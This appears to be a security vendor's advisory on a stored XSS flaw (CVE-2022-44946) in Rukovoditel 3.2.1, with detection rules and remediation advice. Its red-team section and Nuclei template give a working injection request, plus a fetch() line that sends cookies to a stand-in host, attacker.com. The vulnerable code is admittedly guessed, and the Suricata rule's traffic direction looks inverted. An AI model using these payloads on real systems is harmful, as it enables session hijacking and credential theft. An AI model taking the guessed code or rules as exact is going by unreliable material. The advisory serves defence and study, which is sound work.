CVE-2022-44946

Executive Summary

CVE-2022-44946 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the "Add Page" function, accessible at /index.php?module=help_pages/pages&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Title field, which is then stored and executed when the malicious page is viewed by other users, including administrators. This can lead to credential theft, session hijacking, and unauthorized access to project management data. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is confirmed exploitable via a public Nuclei template. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel web application, which is a self-hosted PHP project management tool. The risk is primarily to organizations that deploy Rukovoditel internally or externally without proper input sanitization.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker must have a valid user account.
• User Interaction: Required (UI:R) – The victim must view the malicious page.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for credential theft and data exfiltration makes it a significant concern for organizations using Rukovoditel.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the "Add Page" functionality. The application fails to sanitize or encode user input in the name (Title) field before storing it in the database. When the page is rendered, the injected script executes in the context of the victim's browser.

Attack Flow:

1. An authenticated attacker navigates to the "Add Page" form at /index.php?module=help_pages/pages&entities_id=24.
2. The attacker submits a POST request with a malicious payload in the name parameter, e.g., <script>alert(document.domain)</script>.
3. The application stores the payload without sanitization.
4. When an administrator or other user views the help page, the script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation in the help pages module. The name field is likely echoed directly into the HTML without using htmlspecialchars() or similar PHP functions.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.2.1):

// In help_pages/pages module
$name = $_POST['name'];
// Direct insertion into database without sanitization
$sql = "INSERT INTO help_pages (name, ...) VALUES ('$name', ...)";
// When rendering:
echo "<h1>$name</h1>";

Patched Code (Hypothetical):

// Sanitize input
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("INSERT INTO help_pages (name, ...) VALUES (?, ...)");
$stmt->bind_param("s", $name);
// When rendering, output is already safe due to htmlspecialchars
echo "<h1>$name</h1>";

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for Rukovoditel.
• Network access to the Rukovoditel instance.

Exploitation Steps:

1. Log in to Rukovoditel.
2. Obtain a session token from the login page.
3. Send a POST request to create a malicious help page:

POST /index.php?module=help_pages/pages&action=save&entities_id=24&token=TOKEN HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

form_session_token=TOKEN&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=

4. The payload <script>alert(document.domain)</script> will be stored.
5. When an administrator views the help page, the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

• Monitor for POST requests to /index.php?module=help_pages/pages&action=save with suspicious name parameters containing <script> tags.
• Look for anomalous user behavior, such as creating help pages with unusual titles.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Hunting:

• Search database entries in the help_pages table for HTML/JavaScript content.
• Review web server logs for requests containing encoded script tags.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /index.php?module=help_pages/pages&action=save with name parameter containing <script> or %3Cscript%3E.
  • Outbound connections to attacker-controlled domains from the Rukovoditel server.
• Host:
  • Database entries in help_pages table with name field containing JavaScript.
  • Modified files in the help_pages module directory (if attacker uploads malicious files).
• File:
  • Suspicious log entries in /var/log/apache2/access.log or similar.

Detection Engineering

YARA Rule

rule CVE_2022_44946_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel help pages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44946"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $help_page_path = "/index.php?module=help_pages/pages"
    condition:
        $help_page_path and $xss_payload
}

Sigma Rule

title: CVE-2022-44946 - Stored XSS in Rukovoditel Help Pages
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel v3.2.1
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44946
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?module=help_pages/pages&action=save'
        cs-uri-query|contains: 'name='
    condition: selection
falsepositives:
    - Legitimate help page creation with non-malicious content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-44946 - Rukovoditel Stored XSS Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=help_pages/pages&action=save";
    http_uri;
    content:"name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    reference:cve,2022-44946;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2022-44946

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Page function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the Title field in the Add Page function to steal Rukovoditel administrator credentials and project management data when the malicious page is viewed.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/15
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44946
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44946
    cwe-id: CWE-79
    epss-score: 0.00929
    epss-percentile: 0.76184
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Rukovoditel to a version higher than 3.2.1 if available. If not, consider disabling the help pages module or restricting access.
2. Input Validation: Implement server-side validation to reject HTML/JavaScript in the Title field.
3. Output Encoding: Use htmlspecialchars() or equivalent when rendering user-supplied data.
4. Web Application Firewall (WAF): Deploy rules to block requests containing <script> tags in the name parameter.
5. Least Privilege: Limit the number of users with permission to create help pages.

Long-Term Fix:

• Apply the vendor patch when released, or manually patch the code as shown in the "Vulnerable vs. Patched Code" section.
• Conduct a security audit of the entire application for similar vulnerabilities.

Valters IT

{/* [Security Hash: 70079982D1FD5804B0E94EEF] */}